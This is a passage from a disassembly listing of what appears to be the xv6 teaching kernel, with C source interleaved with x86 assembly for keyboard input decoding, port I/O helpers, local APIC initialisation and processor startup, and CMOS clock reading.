00 00 and $0x80,%eax 801034b4: 85 c0 test %eax,%eax 801034b6: 74 45 je 801034fd <kbdgetc+0xaf> // Key released data = (shift & E0ESC ? data : data & 0x7F); 801034b8: a1 5c c6 10 80 mov 0x8010c65c,%eax 801034bd: 83 e0 40 and $0x40,%eax 801034c0: 85 c0 test %eax,%eax 801034c2: 75 08 jne 801034cc <kbdgetc+0x7e> 801034c4: 8b 45 fc mov -0x4(%ebp),%eax 801034c7: 83 e0 7f and $0x7f,%eax 801034ca: eb 03 jmp 801034cf <kbdgetc+0x81> 801034cc: 8b 45 fc mov -0x4(%ebp),%eax 801034cf: 89 45 fc mov %eax,-0x4(%ebp) shift &= ~(shiftcode[data] | E0ESC); 801034d2: 8b 45 fc mov -0x4(%ebp),%eax 801034d5: 05 20 a0 10 80 add $0x8010a020,%eax 801034da: 0f b6 00 movzbl (%eax),%eax 801034dd: 83 c8 40 or $0x40,%eax 801034e0: 0f b6 c0 movzbl %al,%eax 801034e3: f7 d0 not %eax 801034e5: 89 c2 mov %eax,%edx 801034e7: a1 5c c6 10 80 mov 0x8010c65c,%eax 801034ec: 21 d0 and %edx,%eax 801034ee: a3 5c c6 10 80 mov %eax,0x8010c65c return 0; 801034f3: b8 00 00 00 00 mov $0x0,%eax 801034f8: e9 a0 00 00 00 jmp 8010359d <kbdgetc+0x14f> } else if(shift & E0ESC){ 801034fd: a1 5c c6 10 80 mov 0x8010c65c,%eax 80103502: 83 e0 40 and $0x40,%eax 80103505: 85 c0 test %eax,%eax 80103507: 74 14 je 8010351d <kbdgetc+0xcf> // Last character was an E0 escape; or with 0x80 data |= 0x80; 80103509: 81 4d fc 80 00 00 00 orl $0x80,-0x4(%ebp) shift &= ~E0ESC; 80103510: a1 5c c6 10 80 mov 0x8010c65c,%eax 80103515: 83 e0 bf and $0xffffffbf,%eax 80103518: a3 5c c6 10 80 mov %eax,0x8010c65c } shift |= shiftcode[data]; 8010351d: 8b 45 fc mov -0x4(%ebp),%eax 80103520: 05 20 a0 10 80 add $0x8010a020,%eax 80103525: 0f b6 00 movzbl (%eax),%eax 80103528: 0f b6 d0 movzbl %al,%edx 8010352b: a1 5c c6 10 80 mov 0x8010c65c,%eax 80103530: 09 d0 or %edx,%eax 80103532: a3 5c c6 10 80 mov %eax,0x8010c65c shift ^= togglecode[data]; 80103537: 8b 45 fc mov -0x4(%ebp),%eax 8010353a: 05 20 a1 10 80 add $0x8010a120,%eax 8010353f: 0f b6 00 movzbl (%eax),%eax 80103542: 0f b6 d0 movzbl %al,%edx 80103545: a1 5c c6 10 80 mov 0x8010c65c,%eax 8010354a: 31 d0 xor %edx,%eax 8010354c: a3 5c c6 10 80 mov %eax,0x8010c65c c = charcode[shift & (CTL | SHIFT)][data]; 80103551: a1 5c c6 10 80 mov 0x8010c65c,%eax 80103556: 83 e0 03 and $0x3,%eax 80103559: 8b 04 85 20 a5 10 80 mov -0x7fef5ae0(,%eax,4),%eax 80103560: 03 45 fc add -0x4(%ebp),%eax 80103563: 0f b6 00 movzbl (%eax),%eax 80103566: 0f b6 c0 movzbl %al,%eax 80103569: 89 45 f8 mov %eax,-0x8(%ebp) if(shift & CAPSLOCK){ 8010356c: a1 5c c6 10 80 mov 0x8010c65c,%eax 80103571: 83 e0 08 and $0x8,%eax 80103574: 85 c0 test %eax,%eax 80103576: 74 22 je 8010359a <kbdgetc+0x14c> if('a' <= c && c <= 'z') 80103578: 83 7d f8 60 cmpl $0x60,-0x8(%ebp) 8010357c: 76 0c jbe 8010358a <kbdgetc+0x13c> 8010357e: 83 7d f8 7a cmpl $0x7a,-0x8(%ebp) 80103582: 77 06 ja 8010358a <kbdgetc+0x13c> c += 'A' - 'a'; 80103584: 83 6d f8 20 subl $0x20,-0x8(%ebp) 80103588: eb 10 jmp 8010359a <kbdgetc+0x14c> else if('A' <= c && c <= 'Z') 8010358a: 83 7d f8 40 cmpl $0x40,-0x8(%ebp) 8010358e: 76 0a jbe 8010359a <kbdgetc+0x14c> 80103590: 83 7d f8 5a cmpl $0x5a,-0x8(%ebp) 80103594: 77 04 ja 8010359a <kbdgetc+0x14c> c += 'a' - 'A'; 80103596: 83 45 f8 20 addl $0x20,-0x8(%ebp) } return c; 8010359a: 8b 45 f8 mov -0x8(%ebp),%eax } 8010359d: c9 leave 8010359e: c3 ret 8010359f <kbdintr>: void kbdintr(void) { 8010359f: 55 push %ebp 801035a0: 89 e5 mov %esp,%ebp 801035a2: 83 ec 18 sub $0x18,%esp consoleintr(kbdgetc); 801035a5: c7 04 24 4e 34 10 80 movl $0x8010344e,(%esp) 801035ac: e8 fd d5 ff ff call 80100bae <consoleintr> } 801035b1: c9 leave 801035b2: c3 ret ... 801035b4 <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 801035b4: 55 push %ebp 801035b5: 89 e5 mov %esp,%ebp 801035b7: 53 push %ebx 801035b8: 83 ec 14 sub $0x14,%esp 801035bb: 8b 45 08 mov 0x8(%ebp),%eax 801035be: 66 89 45 e8 mov %ax,-0x18(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801035c2: 0f b7 55 e8 movzwl -0x18(%ebp),%edx 801035c6: 66 89 55 ea mov %dx,-0x16(%ebp) 801035ca: 0f b7 55 ea movzwl -0x16(%ebp),%edx 801035ce: ec in (%dx),%al 801035cf: 89 c3 mov %eax,%ebx 801035d1: 88 5d fb mov %bl,-0x5(%ebp) return data; 801035d4: 0f b6 45 fb movzbl -0x5(%ebp),%eax } 801035d8: 83 c4 14 add $0x14,%esp 801035db: 5b pop %ebx 801035dc: 5d pop %ebp 801035dd: c3 ret 801035de <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 801035de: 55 push %ebp 801035df: 89 e5 mov %esp,%ebp 801035e1: 83 ec 08 sub $0x8,%esp 801035e4: 8b 55 08 mov 0x8(%ebp),%edx 801035e7: 8b 45 0c mov 0xc(%ebp),%eax 801035ea: 66 89 55 fc mov %dx,-0x4(%ebp) 801035ee: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801035f1: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 801035f5: 0f b7 55 fc movzwl -0x4(%ebp),%edx 801035f9: ee out %al,(%dx) } 801035fa: c9 leave 801035fb: c3 ret 801035fc <readeflags>: asm volatile("ltr %0" : : "r" (sel)); } static inline uint readeflags(void) { 801035fc: 55 push %ebp 801035fd: 89 e5 mov %esp,%ebp 801035ff: 53 push %ebx 80103600: 83 ec 10 sub $0x10,%esp uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103603: 9c pushf 80103604: 5b pop %ebx 80103605: 89 5d f8 mov %ebx,-0x8(%ebp) return eflags; 80103608: 8b 45 f8 mov -0x8(%ebp),%eax } 8010360b: 83 c4 10 add $0x10,%esp 8010360e: 5b pop %ebx 8010360f: 5d pop %ebp 80103610: c3 ret 80103611 <lapicw>: volatile uint *lapic; // Initialized in mp.c static void lapicw(int index, int value) { 80103611: 55 push %ebp 80103612: 89 e5 mov %esp,%ebp lapic[index] = value; 80103614: a1 9c 3a 11 80 mov 0x80113a9c,%eax 80103619: 8b 55 08 mov 0x8(%ebp),%edx 8010361c: c1 e2 02 shl $0x2,%edx 8010361f: 01 c2 add %eax,%edx 80103621: 8b 45 0c mov 0xc(%ebp),%eax 80103624: 89 02 mov %eax,(%edx) lapic[ID]; // wait for write to finish, by reading 80103626: a1 9c 3a 11 80 mov 0x80113a9c,%eax 8010362b: 83 c0 20 add $0x20,%eax 8010362e: 8b 00 mov (%eax),%eax } 80103630: 5d pop %ebp 80103631: c3 ret 80103632 <lapicinit>: //PAGEBREAK! void lapicinit(void) { 80103632: 55 push %ebp 80103633: 89 e5 mov %esp,%ebp 80103635: 83 ec 08 sub $0x8,%esp if(!lapic) 80103638: a1 9c 3a 11 80 mov 0x80113a9c,%eax 8010363d: 85 c0 test %eax,%eax 8010363f: 0f 84 47 01 00 00 je 8010378c <lapicinit+0x15a> return; // Enable local APIC; set spurious interrupt vector. lapicw(SVR, ENABLE | (T_IRQ0 + IRQ_SPURIOUS)); 80103645: c7 44 24 04 3f 01 00 movl $0x13f,0x4(%esp) 8010364c: 00 8010364d: c7 04 24 3c 00 00 00 movl $0x3c,(%esp) 80103654: e8 b8 ff ff ff call 80103611 <lapicw> // The timer repeatedly counts down at bus frequency // from lapic[TICR] and then issues an interrupt. // If xv6 cared more about precise timekeeping, // TICR would be calibrated using an external time source. lapicw(TDCR, X1); 80103659: c7 44 24 04 0b 00 00 movl $0xb,0x4(%esp) 80103660: 00 80103661: c7 04 24 f8 00 00 00 movl $0xf8,(%esp) 80103668: e8 a4 ff ff ff call 80103611 <lapicw> lapicw(TIMER, PERIODIC | (T_IRQ0 + IRQ_TIMER)); 8010366d: c7 44 24 04 20 00 02 movl $0x20020,0x4(%esp) 80103674: 00 80103675: c7 04 24 c8 00 00 00 movl $0xc8,(%esp) 8010367c: e8 90 ff ff ff call 80103611 <lapicw> lapicw(TICR, 10000000); 80103681: c7 44 24 04 80 96 98 movl $0x989680,0x4(%esp) 80103688: 00 80103689: c7 04 24 e0 00 00 00 movl $0xe0,(%esp) 80103690: e8 7c ff ff ff call 80103611 <lapicw> // Disable logical interrupt lines. lapicw(LINT0, MASKED); 80103695: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp) 8010369c: 00 8010369d: c7 04 24 d4 00 00 00 movl $0xd4,(%esp) 801036a4: e8 68 ff ff ff call 80103611 <lapicw> lapicw(LINT1, MASKED); 801036a9: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp) 801036b0: 00 801036b1: c7 04 24 d8 00 00 00 movl $0xd8,(%esp) 801036b8: e8 54 ff ff ff call 80103611 <lapicw> // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 801036bd: a1 9c 3a 11 80 mov 0x80113a9c,%eax 801036c2: 83 c0 30 add $0x30,%eax 801036c5: 8b 00 mov (%eax),%eax 801036c7: c1 e8 10 shr $0x10,%eax 801036ca: 25 ff 00 00 00 and $0xff,%eax 801036cf: 83 f8 03 cmp $0x3,%eax 801036d2: 76 14 jbe 801036e8 <lapicinit+0xb6> lapicw(PCINT, MASKED); 801036d4: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp) 801036db: 00 801036dc: c7 04 24 d0 00 00 00 movl $0xd0,(%esp) 801036e3: e8 29 ff ff ff call 80103611 <lapicw> // Map error interrupt to IRQ_ERROR. lapicw(ERROR, T_IRQ0 + IRQ_ERROR); 801036e8: c7 44 24 04 33 00 00 movl $0x33,0x4(%esp) 801036ef: 00 801036f0: c7 04 24 dc 00 00 00 movl $0xdc,(%esp) 801036f7: e8 15 ff ff ff call 80103611 <lapicw> // Clear error status register (requires back-to-back writes). lapicw(ESR, 0); 801036fc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103703: 00 80103704: c7 04 24 a0 00 00 00 movl $0xa0,(%esp) 8010370b: e8 01 ff ff ff call 80103611 <lapicw> lapicw(ESR, 0); 80103710: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103717: 00 80103718: c7 04 24 a0 00 00 00 movl $0xa0,(%esp) 8010371f: e8 ed fe ff ff call 80103611 <lapicw> // Ack any outstanding interrupts. lapicw(EOI, 0); 80103724: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010372b: 00 8010372c: c7 04 24 2c 00 00 00 movl $0x2c,(%esp) 80103733: e8 d9 fe ff ff call 80103611 <lapicw> // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); 80103738: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010373f: 00 80103740: c7 04 24 c4 00 00 00 movl $0xc4,(%esp) 80103747: e8 c5 fe ff ff call 80103611 <lapicw> lapicw(ICRLO, BCAST | INIT | LEVEL); 8010374c: c7 44 24 04 00 85 08 movl $0x88500,0x4(%esp) 80103753: 00 80103754: c7 04 24 c0 00 00 00 movl $0xc0,(%esp) 8010375b: e8 b1 fe ff ff call 80103611 <lapicw> while(lapic[ICRLO] & DELIVS) 80103760: 90 nop 80103761: a1 9c 3a 11 80 mov 0x80113a9c,%eax 80103766: 05 00 03 00 00 add $0x300,%eax 8010376b: 8b 00 mov (%eax),%eax 8010376d: 25 00 10 00 00 and $0x1000,%eax 80103772: 85 c0 test %eax,%eax 80103774: 75 eb jne 80103761 <lapicinit+0x12f> ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); 80103776: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010377d: 00 8010377e: c7 04 24 20 00 00 00 movl $0x20,(%esp) 80103785: e8 87 fe ff ff call 80103611 <lapicw> 8010378a: eb 01 jmp 8010378d <lapicinit+0x15b> void lapicinit(void) { if(!lapic) return; 8010378c: 90 nop while(lapic[ICRLO] & DELIVS) ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 8010378d: c9 leave 8010378e: c3 ret 8010378f <cpunum>: int cpunum(void) { 8010378f: 55 push %ebp 80103790: 89 e5 mov %esp,%ebp 80103792: 83 ec 18 sub $0x18,%esp // Cannot call cpu when interrupts are enabled: // result not guaranteed to last long enough to be used! // Would prefer to panic but even printing is chancy here: // almost everything, including cprintf and panic, calls cpu, // often indirectly through acquire and release. if(readeflags()&FL_IF){ 80103795: e8 62 fe ff ff call 801035fc <readeflags> 8010379a: 25 00 02 00 00 and $0x200,%eax 8010379f: 85 c0 test %eax,%eax 801037a1: 74 29 je 801037cc <cpunum+0x3d> static int n; if(n++ == 0) 801037a3: a1 60 c6 10 80 mov 0x8010c660,%eax 801037a8: 85 c0 test %eax,%eax 801037aa: 0f 94 c2 sete %dl 801037ad: 83 c0 01 add $0x1,%eax 801037b0: a3 60 c6 10 80 mov %eax,0x8010c660 801037b5: 84 d2 test %dl,%dl 801037b7: 74 13 je 801037cc <cpunum+0x3d> cprintf("cpu called from %x with interrupts enabled\n", 801037b9: 8b 45 04 mov 0x4(%ebp),%eax 801037bc: 89 44 24 04 mov %eax,0x4(%esp) 801037c0: c7 04 24 f8 94 10 80 movl $0x801094f8,(%esp) 801037c7: e8 d5 cb ff ff call 801003a1 <cprintf> __builtin_return_address(0)); } if(lapic) 801037cc: a1 9c 3a 11 80 mov 0x80113a9c,%eax 801037d1: 85 c0 test %eax,%eax 801037d3: 74 0f je 801037e4 <cpunum+0x55> return lapic[ID]>>24; 801037d5: a1 9c 3a 11 80 mov 0x80113a9c,%eax 801037da: 83 c0 20 add $0x20,%eax 801037dd: 8b 00 mov (%eax),%eax 801037df: c1 e8 18 shr $0x18,%eax 801037e2: eb 05 jmp 801037e9 <cpunum+0x5a> return 0; 801037e4: b8 00 00 00 00 mov $0x0,%eax } 801037e9: c9 leave 801037ea: c3 ret 801037eb <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { 801037eb: 55 push %ebp 801037ec: 89 e5 mov %esp,%ebp 801037ee: 83 ec 08 sub $0x8,%esp if(lapic) 801037f1: a1 9c 3a 11 80 mov 0x80113a9c,%eax 801037f6: 85 c0 test %eax,%eax 801037f8: 74 14 je 8010380e <lapiceoi+0x23> lapicw(EOI, 0); 801037fa: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103801: 00 80103802: c7 04 24 2c 00 00 00 movl $0x2c,(%esp) 80103809: e8 03 fe ff ff call 80103611 <lapicw> } 8010380e: c9 leave 8010380f: c3 ret 80103810 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 80103810: 55 push %ebp 80103811: 89 e5 mov %esp,%ebp } 80103813: 5d pop %ebp 80103814: c3 ret 80103815 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 80103815: 55 push %ebp 80103816: 89 e5 mov %esp,%ebp 80103818: 83 ec 1c sub $0x1c,%esp 8010381b: 8b 45 08 mov 0x8(%ebp),%eax 8010381e: 88 45 ec mov %al,-0x14(%ebp) ushort *wrv; // "The BSP must initialize CMOS shutdown code to 0AH // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code 80103821: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp) 80103828: 00 80103829: c7 04 24 70 00 00 00 movl $0x70,(%esp) 80103830: e8 a9 fd ff ff call 801035de <outb> outb(CMOS_PORT+1, 0x0A); 80103835: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp) 8010383c: 00 8010383d: c7 04 24 71 00 00 00 movl $0x71,(%esp) 80103844: e8 95 fd ff ff call 801035de <outb> wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector 80103849: c7 45 f8 67 04 00 80 movl $0x80000467,-0x8(%ebp) wrv[0] = 0; 80103850: 8b 45 f8 mov -0x8(%ebp),%eax 80103853: 66 c7 00 00 00 movw $0x0,(%eax) wrv[1] = addr >> 4; 80103858: 8b 45 f8 mov -0x8(%ebp),%eax 8010385b: 8d 50 02 lea 0x2(%eax),%edx 8010385e: 8b 45 0c mov 0xc(%ebp),%eax 80103861: c1 e8 04 shr $0x4,%eax 80103864: 66 89 02 mov %ax,(%edx) // "Universal startup algorithm." // Send INIT (level-triggered) interrupt to reset other CPU. lapicw(ICRHI, apicid<<24); 80103867: 0f b6 45 ec movzbl -0x14(%ebp),%eax 8010386b: c1 e0 18 shl $0x18,%eax 8010386e: 89 44 24 04 mov %eax,0x4(%esp) 80103872: c7 04 24 c4 00 00 00 movl $0xc4,(%esp) 80103879: e8 93 fd ff ff call 80103611 <lapicw> lapicw(ICRLO, INIT | LEVEL | ASSERT); 8010387e: c7 44 24 04 00 c5 00 movl $0xc500,0x4(%esp) 80103885: 00 80103886: c7 04 24 c0 00 00 00 movl $0xc0,(%esp) 8010388d: e8 7f fd ff ff call 80103611 <lapicw> microdelay(200); 80103892: c7 04 24 c8 00 00 00 movl $0xc8,(%esp) 80103899: e8 72 ff ff ff call 80103810 <microdelay> lapicw(ICRLO, INIT | LEVEL); 8010389e: c7 44 24 04 00 85 00 movl $0x8500,0x4(%esp) 801038a5: 00 801038a6: c7 04 24 c0 00 00 00 movl $0xc0,(%esp) 801038ad: e8 5f fd ff ff call 80103611 <lapicw> microdelay(100); // should be 10ms, but too slow in Bochs! 801038b2: c7 04 24 64 00 00 00 movl $0x64,(%esp) 801038b9: e8 52 ff ff ff call 80103810 <microdelay> // Send startup IPI (twice!) to enter code. // Regular hardware is supposed to only accept a STARTUP // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ 801038be: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 801038c5: eb 40 jmp 80103907 <lapicstartap+0xf2> lapicw(ICRHI, apicid<<24); 801038c7: 0f b6 45 ec movzbl -0x14(%ebp),%eax 801038cb: c1 e0 18 shl $0x18,%eax 801038ce: 89 44 24 04 mov %eax,0x4(%esp) 801038d2: c7 04 24 c4 00 00 00 movl $0xc4,(%esp) 801038d9: e8 33 fd ff ff call 80103611 <lapicw> lapicw(ICRLO, STARTUP | (addr>>12)); 801038de: 8b 45 0c mov 0xc(%ebp),%eax 801038e1: c1 e8 0c shr $0xc,%eax 801038e4: 80 cc 06 or $0x6,%ah 801038e7: 89 44 24 04 mov %eax,0x4(%esp) 801038eb: c7 04 24 c0 00 00 00 movl $0xc0,(%esp) 801038f2: e8 1a fd ff ff call 80103611 <lapicw> microdelay(200); 801038f7: c7 04 24 c8 00 00 00 movl $0xc8,(%esp) 801038fe: e8 0d ff ff ff call 80103810 <microdelay> // Send startup IPI (twice!) to enter code. // Regular hardware is supposed to only accept a STARTUP // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ 80103903: 83 45 fc 01 addl $0x1,-0x4(%ebp) 80103907: 83 7d fc 01 cmpl $0x1,-0x4(%ebp) 8010390b: 7e ba jle 801038c7 <lapicstartap+0xb2> lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); microdelay(200); } } 8010390d: c9 leave 8010390e: c3 ret 8010390f <cmos_read>: #define DAY 0x07 #define MONTH 0x08 #define YEAR 0x09 static uint cmos_read(uint reg) { 8010390f: 55 push %ebp 80103910: 89 e5 mov %esp,%ebp 80103912: 83 ec 08 sub $0x8,%esp outb(CMOS_PORT, reg); 80103915: 8b 45 08 mov 0x8(%ebp),%eax 80103918: 0f b6 c0 movzbl %al,%eax 8010391b: 89 44 24 04 mov %eax,0x4(%esp) 8010391f: c7 04 24 70 00 00 00 movl $0x70,(%esp) 80103926: e8 b3 fc ff ff call 801035de <outb> microdelay(200); 8010392b: c7 04 24 c8 00 00 00 movl $0xc8,(%esp) 80103932: e8 d9 fe ff ff call 80103810 <microdelay> return inb(CMOS_RETURN); 80103937: c7 04 24 71 00 00 00 movl $0x71,(%esp) 8010393e: e8 71 fc ff ff call 801035b4 <inb> 80103943: 0f b6 c0 movzbl %al,%eax } 80103946: c9 leave 80103947: c3 ret 80103948 <fill_rtcdate>: static void fill_rtcdate(struct rtcdate *r) { 80103948: 55 push %ebp 80103949: 89 e5 mov %esp,%ebp 8010394b: 83 ec 04 sub $0x4,%esp r->second = cmos_read(SECS); 8010394e: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80103955: e8 b5 ff ff ff call 8010390f <cmos_read> 8010395a: 8b 55 08 mov 0x8(%ebp),%edx 8010395d: 89 02 mov %eax,(%edx) r->minute = cmos_read(MINS); 8010395f: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80103966: e8 a4 ff ff ff call 8010390f <cmos_read> 8010396b: 8b 55 08 mov 0x8(%ebp),%edx 8010396e: 89 42 04 mov %eax,0x4(%edx) r->hour = cmos_read(HOURS); 80103971: c7 04 24 04 00 00 00 movl $0x4,(%esp) 80103978: e8 92 ff ff ff call 8010390f <cmos_read> 8010397d: 8b 55 08 mov 0x8(%ebp),%edx 80103980: 89 42 08 mov %eax,0x8(%edx) r->day = cmos_read(DAY); 80103983: c7 04 24 07 00 00 00 movl $0x7,(%esp) 8010398a: e8 80 ff ff ff call 8010390f <cmos_read> 8010398f: 8b 55 08 mov 0x8(%ebp),%edx 80103992: 89 42 0c mov %eax,0xc(%edx) r->month = cmos_read(MONTH); 80103995: c7 04 24 08 00 00 00 movl $0x8,(%esp) 8010399c: e8 6e ff ff ff call 8010390f <cmos_read> 801039a1: 8b 55 08 mov 0x8(%ebp),%edx 801039a4: 89 42 10 mov %eax,0x10(%edx) r->year = cmos_read(YEAR); 801039a7: c7 04 24 09 00 00 00 movl $0x9,(%esp) 801039ae: e8 5c ff ff ff call 8010390f <cmos_read> 801039b3: 8b 55 08 mov 0x8(%ebp),%edx 801039b6: 89 42 14 mov %eax,0x14(%edx) } 801039b9: c9 leave 801039ba: c3 ret 801039bb <cmostime>: // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 801039bb: 55 push %ebp 801039bc: 89 e5 mov %esp,%ebp 801039be: 83 ec 58 sub $0x58,%esp struct rtcdate t1, t2; int sb, bcd; sb = cmos_read(CMOS_STATB); 801039c1: c7 04 24 0b 00 00 00 movl $0xb,(%esp) 801039c8: e8 42 ff ff ff call 8010390f <cmos_read> 801039cd: 89 45 f4 mov %eax,-0xc(%ebp) bcd = (sb & (1 << 2)) == 0; 801039d0: 8b 45 f4 mov -0xc(%ebp),%eax 801039d3: 83 e0 04 and $0x4,%eax 801039d6: 85 c0 test %eax,%eax 801039d8: 0f 94 c0 sete %al 801039db: 0f b6 c0 movzbl %al,%eax 801039de: 89 45 f0 mov %eax,-0x10(%ebp) 801039e1: eb 01 jmp 801039e4 <cmostime+0x29> if (cmos_read(CMOS_STATA) & CMOS_UIP) continue; fill_rtcdate(&t2); if (memcmp(&t1, &t2, sizeof(t1)) == 0) break; } 801039e3: 90 nop bcd = (sb & (1 << 2)) == 0; // make sure CMOS doesn't modify time while we read it for (;;) { fill_rtcdate(&t1); 801039e4: 8d 45 d8 lea -0x28(%ebp),%eax 801039e7: 89 04 24 mov %eax,(%esp) 801039ea: e8 59 ff ff ff call 80103948 <fill_rtcdate> if (cmos_read(CMOS_STATA) & CMOS_UIP) 801039ef: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 801039f6: e8 14 ff ff ff call 8010390f <cmos_read> 801039fb: 25 80 00 00 00 and $0x80,%eax 80103a00: 85 c0 test %eax,%eax 80103a02: 75 2b jne 80103a2f <cmostime+0x74> continue; fill_rtcdate(&t2); 80103a04: 8d 45 c0 lea -0x40(%ebp),%eax 80103a07: 89 04 24 mov %eax,(%esp) 80103a0a: e8 39 ff ff ff call 80103948 <fill_rtcdate> if (memcmp(&t1, &t2, sizeof(t1)) == 0) 80103a0f: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp) 80103a16: 00 80103a17: 8d 45 c0 lea -0x40(%ebp),%eax 80103a1a: 89 44 24 04 mov %eax,0x4(%esp) 80103a1e: 8d 45 d8 lea -0x28(%ebp),%eax 80103a21: 89 04 24 mov %eax,(%esp) 80103a24: e8 48 24 00 00 call 80105e71 <memcmp> 80103a29: 85 c0 test %eax,%eax 80103a2b: 75 b6 jne 801039e3 <cmostime+0x28> break; 80103a2d: eb 03 jmp 80103a32 <cmostime+0x77> // make sure CMOS doesn't modify time while we read it for (;;) { fill_rtcdate(&t1); if (cmos_read(CMOS_STATA) & CMOS_UIP) continue; 80103a2f: 90 nop fill_rtcdate(&t2); if (memcmp(&t1, &t2, sizeof(t1)) == 0) break; } 80103a30: eb b1 jmp 801039e3 <cmostime+0x28> // convert if (bcd) { 80103a32: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80103a36: 0f 84 a8 00 00 00 je 80103ae4 <cmostime+0x129> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 80103a3c: 8b 45 d8 mov -0x28(%ebp),%eax 80103a3f: 89 c2 mov %eax,%edx 80103a41: c1 ea 04 shr $0x4,%edx 80103a44: 89 d0 mov %edx,%eax 80103a46: c1 e0 02 shl $0x2,%eax 80103a49: 01 d0 add %edx,%eax 80103a4b: 01 c0 add %eax,%eax 80103a4d: 8b 55 d8 mov -0x28(%ebp),%edx 80103a50: 83 e2 0f and $0xf,%edx 80103a53: 01 d0 add %edx,%eax 80103a55: 89 45 d8 mov %eax,-0x28(%ebp) CONV(minute); 80103a58: 8b 45 dc mov -0x24(%ebp),%eax 80103a5b: 89 c2 mov %eax,%edx 80103a5d: c1 ea 04 shr $0x4,%edx 80103a60: 89 d0 mov %edx,%eax 80103a62: c1 e0 02 shl $0x2,%eax 80103a65: 01 d0 add %edx,%eax 80103a67: 01 c0 add %eax,%eax 80103a69: 8b 55 dc mov -0x24(%ebp),%edx 80103a6c: 83 e2 0f and $0xf,%edx 80103a6f: 01 d0 add %edx,%eax 80103a71: 89 45 dc mov %eax,-0x24(%ebp) CONV(hour ); 80103a74: 8b 45 e0 mov -0x20(%ebp),%eax 80103a77: 89 c2 mov %eax,%edx 80103a79: c1 ea 04 shr $0x4,%edx 80103a7c: 89 d0 mov %edx,%eax 80103a7e: c1 e0 02 shl $0x2,%eax 80103a81: 01 d0 add %edx,%eax 80103a83: 01 c0 add %eax,%eax 80103a85: 8b 55 e0 mov -0x20(%ebp),%edx 80103a88: 83 e2 0f and $0xf,%edx 80103a8b: 01 d0 add %edx,%eax 80103a8d: 89 45 e0 mov %eax,-0x20(%ebp) CONV(day ); 80103a90: 8b 45 e4 mov -0x1c(%ebp),%eax 80103a93: 89 c2 mov %eax,%edx 80103a95: c1 ea 04 shr $0x4,%edx 80103a98: 89 d0 mov %edx,%eax 80103a9a: c1 e0 02 shl $0x2,%eax 80103a9d: 01 d0 add %edx,%eax 80103a9f: 01 c0 add %eax,%eax 80103aa1: 8b 55 e4 mov -0x1c(%ebp),%edx 80103aa4: 83 e2 0f and $0xf,%edx 80103aa7: 01 d0 add %edx,%eax 80103aa9: 89 45 e4 mov %eax,-0x1c(%ebp) CONV(month ); 80103aac: 8b 45 e8 mov -0x18(%ebp),%eax 80103aaf: 89 c2 mov %eax,%edx 80103ab1: c1 ea 04 shr $0x4,%edx 80103ab4: 89 d0 mov %edx,%eax 80103ab6: c1 e0 02 shl $0x2,%eax 80103ab9: 01 d0 add %edx,%eax 80103abb: 01 c0 add %eax,%eax 80103abd: 8b 55 e8 mov -0x18(%ebp),%edx 80103ac0: 83 e2 0f and $0xf,%edx 80103ac3: 01 d0 add %edx,%eax 80103ac5: 89 45 e8 mov %eax,-0x18(%ebp) CONV(year ); 80103ac8: 8b 45 ec mov -0x14(%ebp),%eax 80103acb: 89 c2 mov %eax,%edx 80103acd: c1 ea 04 shr $0x4,%edx 80103ad0: 89 d0 mov %edx,%eax 80103ad2: c1 e0 02 shl $0x2,%eax 80103ad5: 01 d0 add %edx,%eax 80103ad7: 01 c0 add %eax,%eax 80103ad9: 8b 55 ec mov -0x14(%ebp),%edx 80103adc: 83 e2 0f and $0xf,%edx 80103adf: 01 d0 add %edx,%eax 80103ae1: 89 45 ec mov %eax,-0x14(%ebp) #undef CONV } *r = t1; 80103ae4: 8b 45 08 mov 0x8(%ebp),%eax 80103ae7: 8b 55 d8 mov -0x28(%ebp),%edx 80103aea: 89 10 mov %edx,(%eax) 80103aec: 8b 55 dc mov -0x24(%ebp),%edx 80103aef: 89 50 04 mov %edx,0x4(%eax) 80103af2: 8b 55 e0 mov 